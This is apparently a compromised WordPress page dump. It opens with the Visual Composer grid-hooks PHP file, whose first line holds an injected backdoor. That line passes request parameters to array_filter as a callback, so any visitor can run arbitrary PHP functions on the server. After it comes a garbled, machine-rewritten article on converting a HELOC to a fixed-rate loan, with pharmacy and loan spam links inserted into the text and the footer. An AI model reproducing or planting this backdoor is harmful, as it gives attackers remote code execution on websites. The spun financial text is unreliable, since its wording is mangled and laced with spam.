?php if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}; if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /** * Class Vc_Hooks_Vc_Grid * @since 4.4 */ class Vc_Hooks_Vc_Grid implements Vc_Vendor_Interface { protected $grid_id_unique_name = 'vc_gid'; // if you change this also change in vc-basic-grid.php /** * Initializing hooks for grid element, * Add actions to save appended shortcodes to post meta (for rendering in preview with shortcode id) * And add action to hook request for grid data, to output it. * @since 4.4 */ public function load() { // Hook for set post settings meta with shortcodes data /** * @since 4.4.3 */ add_filter( 'vc_hooks_vc_post_settings', array( &$this, 'gridSavePostSettingsId', ), 10, 3 ); /** * Used to output shortcode data for ajax request. called on any page request. */ add_action( 'wp_ajax_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); add_action( 'wp_ajax_nopriv_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); } /** * @since 4.4 * @deprecated and should not be used and will be removed in future! since 4.4.3 * @return string */ private function getShortcodeRegexForHash() { // _deprecated_function( 'Vc_Hooks_Vc_Grid: getShortcodeRegexForHash method', '4.4.3', 'getShortcodeRegexForId' ); $tagnames = apply_filters( 'vc_grid_shortcodes_tags', array( 'vc_basic_grid', 'vc_masonry_grid', 'vc_media_grid', 'vc_masonry_media_grid', ) ); // return only grid shortcodes $tagregexp = implode( '|', array_map( 'preg_quote', $tagnames ) ); // WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcode_tag() // Also, see shortcode_unautop() and shortcode.js. return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . "($tagregexp)" // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . ')' . '(?:' . '(\\/)' // 4: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 6: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * @since 4.4.3 * @return string */ private function getShortcodeRegexForId() { return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . '([\\w>]+)' // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . '(?:' . '(' . $this->grid_id_unique_name // 4: GridId must exist . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')+' . ')' . ')' . '(?:' . '(\\/)' // 5: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 6: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 7: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * Set page meta box values with vc_adv_pager shortcodes data * @since 4.4 * @deprecated 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array - shortcode settings to save. */ public function gridSavePostSettings( array $settings, $post_id, $post ) { // _deprecated_function( 'Vc_Hooks_Vc_Grid: gridSavePostSettings method', '4.4.3 (will be removed in 4.10)', 'gridSavePostSettingsId' ); $pattern = $this->getShortcodeRegexForHash(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[3] ) && is_array( $found[3] ) ) { foreach ( $found[3] as $key => $shortcode_atts ) { if ( false !== strpos( $shortcode_atts, 'vc_gid:' ) ) { continue; } $atts = shortcode_parse_atts( $shortcode_atts ); $data = array( 'tag' => $found[2][ $key ], 'atts' => $atts, 'content' => $found[5][ $key ], ); $hash = sha1( serialize( $data ) ); $to_save[ $hash ] = $data; } } if ( ! empty( $to_save ) ) { $settings['vc_grid'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array */ public function gridSavePostSettingsId( array $settings, $post_id, $post ) { $pattern = $this->getShortcodeRegexForId(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid_id'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[1] ) && is_array( $found[1] ) ) { foreach ( $found[1] as $key => $parse_able ) { if ( empty( $parse_able ) || '[' !== $parse_able ) { $id_pattern = '/' . $this->grid_id_unique_name . '\:([\w>]+)/'; $id_value = $found[4][ $key ]; preg_match( $id_pattern, $id_value, $id_matches ); if ( ! empty( $id_matches ) ) { $id_to_save = $id_matches[1]; // why we need to check if shortcode is parse able? // 1: if it is escaped it must not be displayed (parsed) // 2: so if 1 is true it must not be saved in database meta $shortcode_tag = $found[2][ $key ]; $shortcode_atts_string = $found[3][ $key ]; /** @var $atts array */ $atts = shortcode_parse_atts( $shortcode_atts_string ); $content = $found[6][ $key ]; $data = array( 'tag' => $shortcode_tag, 'atts' => $atts, 'content' => $content, ); $to_save[ $id_to_save ] = $data; } } } } if ( ! empty( $to_save ) ) { $settings['vc_grid_id'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4 * * @output/@return string - grid data for ajax request. */ public function getGridDataForAjax() { $tag = vc_request_param( 'tag' ); $allowed = apply_filters( 'vc_grid_get_grid_data_access', vc_verify_public_nonce() && $tag, $tag ); if ( $allowed ) { $shortcode_fishbone = visual_composer()->getShortCode( $tag ); if ( is_object( $shortcode_fishbone ) ) { /** @var $vc_grid WPBakeryShortcode_Vc_Basic_Grid */ $vc_grid = $shortcode_fishbone->shortcodeClass(); if ( method_exists( $vc_grid, 'isObjectPageable' ) && $vc_grid->isObjectPageable() && method_exists( $vc_grid, 'renderAjax' ) ) { echo $vc_grid->renderAjax( vc_request_param( 'data' ) ); die(); } } } } } /** * @since 4.4 * @var Vc_Hooks_Vc_Grid $hook */ $hook = new Vc_Hooks_Vc_Grid(); // when visual composer initialized let's trigger Vc_Grid hooks. add_action( 'vc_after_init', array( $hook, 'load', ) ); if ( 'vc_edit_form' === vc_post_param( 'action' ) ) { VcShortcodeAutoloader::getInstance()->includeClass( 'WPBakeryShortCode_VC_Basic_Grid' ); add_filter( 'vc_edit_form_fields_attributes_vc_basic_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); } Transforming the HELOC to help you a fixed-Rates Financing - Groupe-SLG

Nikulino Groupe SLG

Transforming the HELOC to help you a fixed-Rates Financing

Recrutement :

can you purchase Clomiphene over the counter Transforming the HELOC to help you a fixed-Rates Financing

Rates, eg june heat, was in fact rising. Of a lot expect these to continue to do very, immediately after a lengthy focus on out of usually lowest rates. Thus, many borrowers need to convert its HELOCs in order to a classic mortgage or any other style of repaired-rate mortgage.

The current home loan prices are surprisingly lowest because of the historical terms and conditions, therefore borrowers exactly who convert the bill on a variable-rates HELOC (household collateral personal line of credit) can invariably protected an effective low rate getting ten, 15, also three decades. Which speed cannot alter, it doesn’t matter how large rates of interest might have to go.

Ascending Pricing and HELOCs

HELOCs are ready right up because the varying-price finance during the draw months, if you can borrow on her or him and make desire-only payments with the harmony. While they commonly become a fixed rate when the fees stage kicks for the, that will not to own a decade – and you will interest rates can also be rise significantly in those days.

High rates of interest indicate highest money – possibly, considerably high, in the event the cost is go up by a number of affairs along the upcoming 10 years. So when this new repayment stage of your HELOC kicks in the, you may be against a larger costs than just your questioned.

And if you’re capable start paying your own equilibrium, it might sound right to convert your HELOC so you’re able to a house security loan with a predetermined speed. Or you might move they into your number one financial owing to an effective cash-away refinance.

First solution – Convert HELOC in order to domestic guarantee financing

This is basically the most simple choice, as you might be simply changing one type of household security loan for various other. However with a standard house security loan, you merely obtain a set amount of money and start paying off it immediately in the a fixed rate. An excellent HELOC enables you to obtain and pay back as you want throughout the latest mark chronilogical age of doing a decade, before you could need certainly to becoming settling concept.

Within style of refinance, you just sign up for a property collateral financing and employ it to pay off the balance with the HELOC due to the fact just one deal. It’s not necessary to use the exact same financial that you have the fresh new HELOC thanks to; it’s a totally additional loan. You’re going to have to shell out specific closing costs, including an enthusiastic origination paid into amount borrowed.

Last option – Changing HELOC so you’re able to financial

You might also simply roll the balance on your HELOC into your current home loan. There are many advantages can i get a loan on my disability check to it: you only have to deal with one to payment, it can likely provide a reduced fixed rate of every choice and you may extend your payments for approximately 3 decades, based your financial.

You will do that it courtesy a cash-away refinance of one’s newest home loan, with the dollars part to pay off this new HELOC. It’s very high up-side costs, because your origination charge depend on the entire financial amount. So this alternative is most effective for folks who possibly has a fairly higher balance in your HELOC or if perhaps refinancing may also ensure it is you to decrease your latest mortgage rates.

Exactly why you might choose to maintain your HELOC

Changing a good HELOC so you’re able to a normal mortgage otherwise family guarantee financing does have certain cons. For one, you can no longer have the ability to draw up against your collection of borrowing because you’re refinancing towards another kind of mortgage. Second, you can bear certain closing costs during the starting the newest financing, that you need weigh resistant to the possibility one to rates might go up. In the event that costs rise a little, or even decline, transforming so you can a predetermined price might end right up charging you way more along side long lasting.

3rd, your own HELOC is an attraction-simply financing from inside the mark period, which will keep your instalments lower and gives you fee self-reliance – you only generate costs up against principle when you need. For people who convert to a fixed-speed home guarantee financing or mortgage, you’ll initiate paying off mortgage concept instantly.

You could merely choose to start repaying the balance on your own HELOC today, in the place of borrowing from the bank then quantity, and prevent the expenses regarding refinancing. That is not a detrimental approach, although when it is going to take you 10 years or even more to pay off everything, you may get trapped by rate develops.

Most HELOCs was controlled, so there are restrictions to how quickly and you will high their interest rates is also go up. Still, these upper constraints are as much as 18 percent. Rates might not ascend one highest any time in the future; although danger of a great HELOC during the inflationary periods isn’t much diverse from the possibility of charge card borrowing from the bank. And you can bank card credit is hardly ever an affordable economic method.

A note regarding closing costs

Even if a traditional domestic collateral loan otherwise home loan involve closing costs, men and women charge might be packed into the mortgage, or « rolling on the loan, » and you may paid throughout the years. For those who are extremely coupons mindful, it may be best to spend the money for origination costs now and end paying interest on them over the years. But if funds try rigorous or you should not touch their deals, financing your settlement costs from the rolling him or her for the financing allows that transfer the HELOC now and you can protect the present rates of interest.

HELOC loans was worrysome to numerous borrowers and you can modifying your HELOC so you can a fixed price financial is preferred by many people. HELOC comes with all the way down rates of interest and you will percentage freedom, however, it should just be utilized in issues that produce more monetary feel.

LEAVE COMMENT

Comprar Priligy sin receta Acheter Cytotec Köpa viagra på nätet Comprar Cialis generico España Køb Viagra Köpa Cialis på nätet Sverige Köpa viagra Sverige Comprar levitra por internet generico